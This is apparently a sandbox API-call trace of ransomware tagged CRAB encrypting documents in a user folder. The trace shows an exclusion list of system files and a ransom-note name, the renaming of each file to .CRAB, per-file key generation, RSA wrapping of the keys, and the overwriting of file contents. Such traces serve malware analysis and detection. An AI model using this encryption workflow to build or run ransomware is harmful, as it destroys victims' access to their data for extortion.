	[0129.545] lstrcmpiW (lpString1="Qj54fTAb TMlYo.xlsx", lpString2="CRAB-DECRYPT.txt") returned 1
	[0129.545] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0129.545] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Qj54fTAb TMlYo.xlsx.CRAB") returned 56
	[0129.545] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Qj54fTAb TMlYo.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\qj54ftab tmlyo.xlsx")) returned 0x20
	[0129.545] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Qj54fTAb TMlYo.xlsx", dwFileAttributes=0x20) returned 1
	[0129.546] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Qj54fTAb TMlYo.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\qj54ftab tmlyo.xlsx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Qj54fTAb TMlYo.xlsx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\qj54ftab tmlyo.xlsx.crab")) returned 1
	[0129.546] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0129.547] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Qj54fTAb TMlYo.xlsx.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Qj54fTAb TMlYo.xlsx.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Qj54fTAb TMlYo.xlsx.CRAB"
	[0129.547] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Qj54fTAb TMlYo.xlsx.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Qj54fTAb TMlYo.xlsx.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Qj54fTAb TMlYo.xlsx.CRAB.CRAB"
	[0129.547] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0129.550] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0129.550] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0129.550] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0129.550] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0129.550] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0129.550] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.550] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e6b0) returned 1
	[0129.553] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0129.553] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0129.554] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0129.554] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0129.554] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0129.554] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.554] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0129.554] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0129.554] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e7c0) returned 1
	[0129.557] CryptImportKey (in: hProv=0xd6e7c0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x318ddf8) returned 1
	[0129.557] CryptGetKeyParam (in: hKey=0x318ddf8, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0129.557] CryptEncrypt (in: hKey=0x318ddf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0129.557] GetLastError () returned 0x0
	[0129.557] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0129.557] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0129.560] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x318e0b8) returned 1
	[0129.560] CryptGetKeyParam (in: hKey=0x318e0b8, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0129.560] CryptEncrypt (in: hKey=0x318e0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0129.560] GetLastError () returned 0x0
	[0129.560] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0129.560] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Qj54fTAb TMlYo.xlsx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\qj54ftab tmlyo.xlsx.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0129.560] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0129.560] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0129.561] ReadFile (in: hFile=0x3e8, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314d46c*=0x17b17, lpOverlapped=0x0) returned 1
	[0129.582] VirtualAlloc (lpAddress=0x0, dwSize=0x17b20, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0129.584] VirtualAlloc (lpAddress=0x0, dwSize=0x17b20, flAllocationType=0x3000, flProtect=0x4) returned 0x320000
	[0129.587] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.588] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffe84e9, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.588] WriteFile (in: hFile=0x3e8, lpBuffer=0x320000*, nNumberOfBytesToWrite=0x17b20, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x320000*, lpNumberOfBytesWritten=0x314d45c*=0x17b20, lpOverlapped=0x0) returned 1
	[0129.588] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.589] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.609] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0129.609] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0129.609] WriteFile (in: hFile=0x3e8, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0129.609] CloseHandle (hObject=0x3e8) returned 1
	[0129.609] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.609] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.610] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.610] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.610] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.610] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.611] FindNextFileW (in: hFindFile=0x318e4f8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0129.611] lstrcmpW (lpString1="QUyrd7CbOPT8BcO.odt", lpString2=".") returned 1
	[0129.611] lstrcmpW (lpString1="QUyrd7CbOPT8BcO.odt", lpString2="..") returned 1
	[0129.611] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="QUyrd7CbOPT8BcO.odt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\QUyrd7CbOPT8BcO.odt") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\QUyrd7CbOPT8BcO.odt"
	[0129.611] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0129.611] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\QUyrd7CbOPT8BcO.odt") returned 51
	[0129.611] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\QUyrd7CbOPT8BcO.odt") returned 51
	[0129.623] lstrlenW (lpString=".odt") returned 4
	[0129.623] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0129.624] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".odt ") returned 5
	[0129.624] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.624] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\QUyrd7CbOPT8BcO.odt") returned 51
	[0129.624] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\QUyrd7CbOPT8BcO.odt") returned 51
	[0129.624] lstrcmpiW (lpString1="QUyrd7CbOPT8BcO.odt", lpString2="desktop.ini") returned 1
	[0129.624] lstrcmpiW (lpString1="QUyrd7CbOPT8BcO.odt", lpString2="autorun.inf") returned 1
	[0129.624] lstrcmpiW (lpString1="QUyrd7CbOPT8BcO.odt", lpString2="ntuser.dat") returned 1
	[0129.624] lstrcmpiW (lpString1="QUyrd7CbOPT8BcO.odt", lpString2="iconcache.db") returned 1
	[0129.624] lstrcmpiW (lpString1="QUyrd7CbOPT8BcO.odt", lpString2="bootsect.bak") returned 1
	[0129.624] lstrcmpiW (lpString1="QUyrd7CbOPT8BcO.odt", lpString2="boot.ini") returned 1
	[0129.624] lstrcmpiW (lpString1="QUyrd7CbOPT8BcO.odt", lpString2="ntuser.dat.log") returned 1
	[0129.625] lstrcmpiW (lpString1="QUyrd7CbOPT8BcO.odt", lpString2="thumbs.db") returned -1
	[0129.625] lstrcmpiW (lpString1="QUyrd7CbOPT8BcO.odt", lpString2="CRAB-DECRYPT.txt") returned 1
	[0129.625] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0129.625] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\QUyrd7CbOPT8BcO.odt.CRAB") returned 56
	[0129.625] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\QUyrd7CbOPT8BcO.odt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\quyrd7cbopt8bco.odt")) returned 0x20
	[0129.646] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\QUyrd7CbOPT8BcO.odt", dwFileAttributes=0x20) returned 1
	[0129.647] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\QUyrd7CbOPT8BcO.odt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\quyrd7cbopt8bco.odt"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\QUyrd7CbOPT8BcO.odt.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\quyrd7cbopt8bco.odt.crab")) returned 1
	[0129.723] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0129.723] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\QUyrd7CbOPT8BcO.odt.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\QUyrd7CbOPT8BcO.odt.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\QUyrd7CbOPT8BcO.odt.CRAB"
	[0129.724] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\QUyrd7CbOPT8BcO.odt.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\QUyrd7CbOPT8BcO.odt.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\QUyrd7CbOPT8BcO.odt.CRAB.CRAB"
	[0129.724] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e5a0) returned 1
	[0129.726] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0129.727] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0129.727] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0129.727] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0129.727] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0129.727] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.727] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e738) returned 1
	[0129.730] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0129.730] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0129.730] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0129.730] CryptGenRandom (in: hProv=0xd6e738, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0129.730] CryptReleaseContext (hProv=0xd6e738, dwFlags=0x0) returned 1
	[0129.731] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.731] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0129.731] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0129.732] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6ed98) returned 1
	[0129.738] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x318e238) returned 1
	[0129.738] CryptGetKeyParam (in: hKey=0x318e238, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0129.738] CryptEncrypt (in: hKey=0x318e238, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0129.738] GetLastError () returned 0x0
	[0129.738] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0129.738] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0129.741] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x318e138) returned 1
	[0129.741] CryptGetKeyParam (in: hKey=0x318e138, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0129.741] CryptEncrypt (in: hKey=0x318e138, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0129.742] GetLastError () returned 0x0
	[0129.742] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0129.742] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\QUyrd7CbOPT8BcO.odt.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\quyrd7cbopt8bco.odt.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0129.742] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0129.742] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0129.743] ReadFile (in: hFile=0x3e8, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314d46c*=0xb1f6, lpOverlapped=0x0) returned 1
	[0129.755] VirtualAlloc (lpAddress=0x0, dwSize=0xb200, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0129.756] VirtualAlloc (lpAddress=0x0, dwSize=0xb200, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0129.757] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.757] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xffff4e0a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.758] WriteFile (in: hFile=0x3e8, lpBuffer=0x310000*, nNumberOfBytesToWrite=0xb200, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314d45c*=0xb200, lpOverlapped=0x0) returned 1
	[0129.758] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.758] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.762] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0129.762] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0129.762] WriteFile (in: hFile=0x3e8, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0129.762] CloseHandle (hObject=0x3e8) returned 1
	[0129.762] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.763] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.763] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.763] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.763] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.764] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.764] FindNextFileW (in: hFindFile=0x318e4f8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0129.764] lstrcmpW (lpString1="rd20Yh5w2V0oel SGJ.xlsx", lpString2=".") returned 1
	[0129.764] lstrcmpW (lpString1="rd20Yh5w2V0oel SGJ.xlsx", lpString2="..") returned 1
	[0129.764] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="rd20Yh5w2V0oel SGJ.xlsx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\rd20Yh5w2V0oel SGJ.xlsx") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\rd20Yh5w2V0oel SGJ.xlsx"
	[0129.764] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0129.764] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\rd20Yh5w2V0oel SGJ.xlsx") returned 55
	[0129.764] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\rd20Yh5w2V0oel SGJ.xlsx") returned 55
	[0129.764] lstrlenW (lpString=".xlsx") returned 5
	[0129.764] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0129.765] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".xlsx ") returned 6
	[0129.765] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.765] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\rd20Yh5w2V0oel SGJ.xlsx") returned 55
	[0129.765] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\rd20Yh5w2V0oel SGJ.xlsx") returned 55
	[0129.765] lstrcmpiW (lpString1="rd20Yh5w2V0oel SGJ.xlsx", lpString2="desktop.ini") returned 1
	[0129.765] lstrcmpiW (lpString1="rd20Yh5w2V0oel SGJ.xlsx", lpString2="autorun.inf") returned 1
	[0129.765] lstrcmpiW (lpString1="rd20Yh5w2V0oel SGJ.xlsx", lpString2="ntuser.dat") returned 1
	[0129.765] lstrcmpiW (lpString1="rd20Yh5w2V0oel SGJ.xlsx", lpString2="iconcache.db") returned 1
	[0129.765] lstrcmpiW (lpString1="rd20Yh5w2V0oel SGJ.xlsx", lpString2="bootsect.bak") returned 1
	[0129.765] lstrcmpiW (lpString1="rd20Yh5w2V0oel SGJ.xlsx", lpString2="boot.ini") returned 1
	[0129.765] lstrcmpiW (lpString1="rd20Yh5w2V0oel SGJ.xlsx", lpString2="ntuser.dat.log") returned 1
	[0129.765] lstrcmpiW (lpString1="rd20Yh5w2V0oel SGJ.xlsx", lpString2="thumbs.db") returned -1
	[0129.765] lstrcmpiW (lpString1="rd20Yh5w2V0oel SGJ.xlsx", lpString2="CRAB-DECRYPT.txt") returned 1
	[0129.765] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0129.766] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\rd20Yh5w2V0oel SGJ.xlsx.CRAB") returned 60
	[0129.766] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\rd20Yh5w2V0oel SGJ.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\rd20yh5w2v0oel sgj.xlsx")) returned 0x20
	[0129.797] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\rd20Yh5w2V0oel SGJ.xlsx", dwFileAttributes=0x20) returned 1
	[0129.798] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\rd20Yh5w2V0oel SGJ.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\rd20yh5w2v0oel sgj.xlsx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\rd20Yh5w2V0oel SGJ.xlsx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\rd20yh5w2v0oel sgj.xlsx.crab")) returned 1
	[0129.799] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0129.799] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\rd20Yh5w2V0oel SGJ.xlsx.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\rd20Yh5w2V0oel SGJ.xlsx.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\rd20Yh5w2V0oel SGJ.xlsx.CRAB"
	[0129.799] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\rd20Yh5w2V0oel SGJ.xlsx.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\rd20Yh5w2V0oel SGJ.xlsx.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\rd20Yh5w2V0oel SGJ.xlsx.CRAB.CRAB"
	[0129.799] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e7c0) returned 1
	[0129.802] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0129.802] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0129.803] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0129.803] CryptGenRandom (in: hProv=0xd6e7c0, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0129.803] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0129.803] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.803] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0129.806] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0129.806] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0129.806] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0129.806] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
